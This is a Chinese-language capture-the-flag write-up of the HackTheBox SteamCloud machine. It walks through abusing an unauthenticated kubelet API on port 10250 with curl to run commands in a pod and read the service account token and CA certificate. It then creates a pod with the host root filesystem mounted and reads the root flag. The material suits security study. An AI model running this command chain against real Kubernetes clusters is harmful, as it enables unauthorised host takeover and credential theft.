1 | └─$ sudo nmap -sS 10.129.96.167 --min-rate=3000 -p22,2379,2380,8443,10249,10250,10256, -sV -O |
这里8443访问时候是有鉴权,访问不到,看下版本倒是ok
不过他有开kubelet API10250
可以通过web请求到api
这里可以请求/pods
或者/runningpods/
得到pod信息
1 | └─$ curl https://steamcloud.htb:10250/runningpods/ -s -k|jq -c '.items[].metadata|[.name, .namespace]' |
其实只看跑着啥pod用runningpods给的信息会更简练些,不过pods更全面一些,不过这里筛选过后可以做到一致。
1 | └─$ curl https://steamcloud.htb:10250/pods -s -k|jq -c '.items[].metadata|[.name, .namespace]' |
可以看到nginx这个命名空间是default的,尝试访问一下试试。
1 | └─$ curl -XPOST https://steamcloud.htb:10250/run/default/nginx/nginx -d 'cmd=ls -al' -k |
root
可以参考这篇文章
https://faun.pub/attacking-kubernetes-clusters-using-the-kubelet-api-abafc36126ca
以及
1 | “When you create a pod, if you do not specify a service account, it is automatically assigned the default service account in the same namespace.” |
在一个pod中通常会有一个ServiceAccount用来被k8s做鉴权或者与k8 api通信用。
这里到对应的路径下找到ca证书和jwt令牌
1 | └─$ curl -XPOST https://steamcloud.htb:10250/run/default/nginx/nginx -d 'cmd=cat /run/secrets/kubernetes.io/serviceaccount/token' -k |
ca证书
1 | └─$ curl -XPOST https://steamcloud.htb:10250/run/default/nginx/nginx -d 'cmd=cat /run/secrets/kubernetes.io/serviceaccount/ca.crt' -k |
有这俩证书我们就可以以default服务的身份去和api通信啦,先测试获取一下这个pod的信息
1 | └─$ curl -s --cacert ca.crt --header "Authorization: Bearer ${TOKEN}" https://steamcloud.htb:8443/api/v1/namespaces/default/pods -k|jq '.items[].metadata' |
不过这个账户权限是真的低,试了一堆就pods能用,
看一下有账户啥权限
1 | └─$ curl --cacert ca.crt --header "Authorization: Bearer ${TOKEN}" -i -s -k -X $'POST' \ |
或者用kubectl也行
1 | └─$ kubectl auth can-i --server https://10.129.42.197:8443 --certificate-authority=ca.crt --token=$(cat token) --list |
其中
1 | "status": { |
能看到对pod的权限我们有get、create、list
直接进行一个创建pod 根宿主目录挂载到里面
1 | └─$ curl -X POST \ |
进行一个访的问
1 | curl https://steamcloud.htb:10250/run/default/test/test -k -XPOST -d 'cmd=cat /test/root/root.txt' |
get root
姿势点
我想用/exec
去执行命令来着curl -sk "https://steamcloud.htb:10250/exec/default/test/test?command=whoami&input=1&output=1&tty=1
然后报了Upgrade request required
查了下是websocket的问题
用wscat试了下还是g,最后用的run接口。
然后是用curl
请求8443,记得带上证书和token
1 | curl -X POST \ |
8443和10250请求api路径的区别
1 | #这是10250 |
1 | #芝士8443 |
然后发现8443好像没有/run
接口 神奇 也可能是我没找到,连10250的/run接口都在官方文档里没找到..k8s的接口文档藏得好深啊
过程参考文档:
https://gist.github.com/lizrice/c32740fac51db2a5518f06c3dae4944f
https://cloud.tencent.com/developer/article/2272199
https://cloud.tencent.com/developer/article/1521596?areaId=106001
https://faun.pub/attacking-kubernetes-clusters-using-the-kubelet-api-abafc36126ca
https://tttang.com/archive/1389/
10250 kubelet
https://github.com/kubernetes/kubernetes/blob/release-1.30/pkg/kubelet/server/auth_test.go
https://github.com/kubernetes/kubernetes/blob/release-1.30/pkg/kubelet/server/server.go
https://gist.github.com/lizrice/c32740fac51db2a5518f06c3dae4944f
8443 apiserver
https://www.cnblogs.com/a00ium/p/10905279.html
exec解析
https://www.cnblogs.com/a00ium/p/10905279.html
官方文档
https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.26/
翻了翻源码好像确实是没有